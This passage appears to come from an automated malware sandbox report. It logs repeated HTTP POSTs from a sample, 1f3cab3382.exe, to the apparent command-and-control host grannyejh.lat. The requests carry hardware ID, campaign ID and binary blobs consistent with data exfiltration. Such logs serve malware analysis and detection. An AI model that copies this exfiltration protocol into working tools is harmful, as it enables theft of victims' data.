                                                                                                                                                                                                                                                            Content-Length: 1324
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:26 UTC1324OUTData Raw: 2d 2d 5a 44 5a 58 30 48 35 51 54 44 38 48 32 43 31 56 36 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 44 5a 58 30 48 35 51 54 44 38 48 32 43 31 56 36 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 44 5a 58 30 48 35 51 54 44 38 48 32 43 31 56 36 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f
                                                                                                                                                                                                                                                            Data Ascii: --ZDZX0H5QTD8H2C1V6WContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--ZDZX0H5QTD8H2C1V6WContent-Disposition: form-data; name="pid"1--ZDZX0H5QTD8H2C1V6WContent-Disposition: form-data; name="lid"PsFKDg--pablo
                                                                                                                                                                                                                                                            2024-12-19 00:10:27 UTC1120INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:27 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=tk4bedl00gcv0r5epf9kncp8ss; expires=Sun, 13 Apr 2025 17:57:06 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=91%2B%2Fj9AzfPMi%2F4Ae4va19lt3Mrm2k0SPGcdMr26qRzG5qzFpV4W%2BzFFUWCQbk8kUA7BvLpZPSrxP4sCcFwVOygzkc2TAEuwpFUlxfqZPgMuJTQIn4bgehzQ2R99T4gFD"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432b6f4f308c1e-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1787&min_rtt=1772&rtt_var=695&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2238&delivery_rate=1539272&cwnd=212&unsent_bytes=0&cid=4913149328896e8b&ts=852&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:27 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:10:27 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            25192.168.2.550081172.67.179.1094431256C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:29 UTC276OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=UASM9YG1F2O0MSY
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 29009
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:29 UTC15331OUTData Raw: 2d 2d 55 41 53 4d 39 59 47 31 46 32 4f 30 4d 53 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 41 53 4d 39 59 47 31 46 32 4f 30 4d 53 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 41 53 4d 39 59 47 31 46 32 4f 30 4d 53 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 55 41 53 4d 39
                                                                                                                                                                                                                                                            Data Ascii: --UASM9YG1F2O0MSYContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--UASM9YG1F2O0MSYContent-Disposition: form-data; name="pid"1--UASM9YG1F2O0MSYContent-Disposition: form-data; name="lid"PsFKDg--pablo--UASM9
                                                                                                                                                                                                                                                            2024-12-19 00:10:29 UTC13678OUTData Raw: cf e2 ff 6c 56 27 c4 71 2c eb 23 45 97 5d 54 13 3b ac 45 46 6c 0b fa 27 07 3a 78 1c d8 d6 f9 4f 77 6c ca 91 ff eb db 47 77 7e 14 af 18 53 17 d6 93 b9 66 f5 05 89 70 9a c7 2f fb 65 9d 7f 68 8c 07 9b cc 85 5c 47 dc 7b 75 2e dc 45 03 83 ea df ca 8e 46 e3 39 3f bf 38 3a 42 a0 06 f9 90 fa 21 d7 52 cf 01 ee 16 03 22 49 97 7e 0e 2c d6 c4 d1 de ff 25 ba 99 08 96 7d 74 e7 9e 6a 67 c1 83 a4 f0 d4 22 5d e8 40 9f 44 ab 27 56 4f d8 7e 34 dc 6f 9b ef f3 c2 a8 5f 6e d5 88 0a 7e 02 53 94 84 39 38 5a fa 8f d7 16 91 0e b9 84 dd 28 6f 72 2d 57 4e 65 7c ac 06 89 06 91 03 3a 4e ef d9 cd 6b a5 92 8f 36 18 4b cd 65 a9 f9 25 43 6b 8b 9b 78 47 9c 8f 19 e4 6f 8f a4 d1 1f 52 e2 d6 7b f0 9f a1 32 a5 04 c2 90 8e d6 95 bf 6e 6c 51 56 96 22 df f8 b9 5d 6e 2a c9 66 8a 20 bb 24 2b 68 de
                                                                                                                                                                                                                                                            Data Ascii: lV'q,#E]T;EFl':xOwlGw~Sfp/eh\G{u.EF9?8:B!R"I~,%}tjg"]@D'VO~4o_n~S98Z(or-WNe|:Nk6Ke%CkxGoR{2nlQV"]n*f $+h
                                                                                                                                                                                                                                                            2024-12-19 00:10:30 UTC1121INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:30 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=jgvf2bndg2k5sumqhn7j6i22ii; expires=Sun, 13 Apr 2025 17:57:09 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Jw50Z%2BjZgCPX7Bfrxn20qmylngGBAXWTynsK397jWqdqx3BivrDuRhgDJCDTxbiKpDFvMDrwv3irA%2FTH0wIIDo%2Fha1TeheRjyDIirvHiLuAizKe3xnjuRFq5M7RxJDx"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432b815b7842a9-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1603&min_rtt=1598&rtt_var=609&sent=23&recv=33&lost=0&retrans=0&sent_bytes=2829&recv_bytes=29987&delivery_rate=1782661&cwnd=32&unsent_bytes=0&cid=10b4ac55afe17ed2&ts=1015&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:30 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:10:30 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            26192.168.2.550088172.67.179.1094432292C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:32 UTC280OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=A3ULC7KSJNIO80HTKNJ
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 11621
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:32 UTC11621OUTData Raw: 2d 2d 41 33 55 4c 43 37 4b 53 4a 4e 49 4f 38 30 48 54 4b 4e 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 33 55 4c 43 37 4b 53 4a 4e 49 4f 38 30 48 54 4b 4e 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 33 55 4c 43 37 4b 53 4a 4e 49 4f 38 30 48 54 4b 4e 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61
                                                                                                                                                                                                                                                            Data Ascii: --A3ULC7KSJNIO80HTKNJContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--A3ULC7KSJNIO80HTKNJContent-Disposition: form-data; name="pid"2--A3ULC7KSJNIO80HTKNJContent-Disposition: form-data; name="lid"PsFKDg--pa
                                                                                                                                                                                                                                                            2024-12-19 00:10:32 UTC1122INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:32 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=6onlgourfam1mbuo4k4k7nkr6d; expires=Sun, 13 Apr 2025 17:57:11 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NRYD2u2gT%2BAuwmrmIRvXTq6VgRNIJsY6VvCnmB02P0hID2AIs8%2FMelTSjS8OSPZkdRr60lUIx2oruzgQhMDyacfSqpK1Sd58BlGqJgstfCuPZNYtE%2F0qXsvUiZOyB%2BBB"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432b8f48460ca0-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1625&min_rtt=1617&rtt_var=623&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2830&recv_bytes=12559&delivery_rate=1734997&cwnd=239&unsent_bytes=0&cid=1473f5476ee4b91d&ts=865&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:32 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:10:32 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            27192.168.2.550093172.67.179.1094432292C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:34 UTC272OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=TP1CW62K4JZ
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 15035
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:34 UTC15035OUTData Raw: 2d 2d 54 50 31 43 57 36 32 4b 34 4a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 54 50 31 43 57 36 32 4b 34 4a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 50 31 43 57 36 32 4b 34 4a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 54 50 31 43 57 36 32 4b 34 4a 5a 0d 0a 43 6f 6e 74
                                                                                                                                                                                                                                                            Data Ascii: --TP1CW62K4JZContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--TP1CW62K4JZContent-Disposition: form-data; name="pid"2--TP1CW62K4JZContent-Disposition: form-data; name="lid"PsFKDg--pablo--TP1CW62K4JZCont
                                                                                                                                                                                                                                                            2024-12-19 00:10:35 UTC1123INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:34 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=t448eqh2bcbgvbv3esplkrqn3h; expires=Sun, 13 Apr 2025 17:57:13 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QLyRrWzVzqJjvkaz1ywi2S7fIgGnFl%2BFjuNY%2Bnn7kloDeW3diLdWx9qdTku8FIw%2F7605qHQqoZJ20fKKhJLgtTmJqF2qR9Np67aIKnmFpmzPEf1SlolbwXcpMH6Kp%2BuZ"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432b9c99504385-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1884&min_rtt=1883&rtt_var=708&sent=11&recv=18&lost=0&retrans=0&sent_bytes=2829&recv_bytes=15965&delivery_rate=1543340&cwnd=250&unsent_bytes=0&cid=ca511c9575838aac&ts=925&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:35 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:10:35 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            28192.168.2.550096172.67.179.1094432292C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:36 UTC272OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=ZCTLUQTVB0S
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 20525
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:36 UTC15331OUTData Raw: 2d 2d 5a 43 54 4c 55 51 54 56 42 30 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 43 54 4c 55 51 54 56 42 30 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 5a 43 54 4c 55 51 54 56 42 30 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 5a 43 54 4c 55 51 54 56 42 30 53 0d 0a 43 6f 6e 74
                                                                                                                                                                                                                                                            Data Ascii: --ZCTLUQTVB0SContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--ZCTLUQTVB0SContent-Disposition: form-data; name="pid"3--ZCTLUQTVB0SContent-Disposition: form-data; name="lid"PsFKDg--pablo--ZCTLUQTVB0SCont
                                                                                                                                                                                                                                                            2024-12-19 00:10:36 UTC5194OUTData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii: un 4F([:7s~X`nO`i
                                                                                                                                                                                                                                                            2024-12-19 00:10:37 UTC1125INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:37 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=s4450qc1adurm5khagbcl2a1e0; expires=Sun, 13 Apr 2025 17:57:15 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TIcaa9Wi86WVjSz4eV1U0gqg0Hwz%2BpFJ9xTVdgbtTff9IBOP%2BAUJyffRpcFOhDU%2FhbUkq4DncFWcGcCt47ryo0caPCIs1CWPWfvr%2BSN%2FgCiAymtEUxeOIgkQuZaLu0Jd"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432baabe17433e-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1708&min_rtt=1687&rtt_var=647&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21477&delivery_rate=1730883&cwnd=249&unsent_bytes=0&cid=4761f7bd4e2432c8&ts=890&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:37 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:10:37 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            29192.168.2.550100172.67.179.1094432292C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:38 UTC273OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=EZFTEXPLXKJNZ
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 1338
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:38 UTC1338OUTData Raw: 2d 2d 45 5a 46 54 45 58 50 4c 58 4b 4a 4e 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 45 5a 46 54 45 58 50 4c 58 4b 4a 4e 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 5a 46 54 45 58 50 4c 58 4b 4a 4e 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 45 5a 46 54 45 58 50 4c 58 4b 4a
                                                                                                                                                                                                                                                            Data Ascii: --EZFTEXPLXKJNZContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--EZFTEXPLXKJNZContent-Disposition: form-data; name="pid"1--EZFTEXPLXKJNZContent-Disposition: form-data; name="lid"PsFKDg--pablo--EZFTEXPLXKJ
                                                                                                                                                                                                                                                            2024-12-19 00:10:39 UTC1118INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:39 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=e7kcdcq970pcqurgtofol3lk52; expires=Sun, 13 Apr 2025 17:57:18 GMT; Max-Age=9999999; path=/
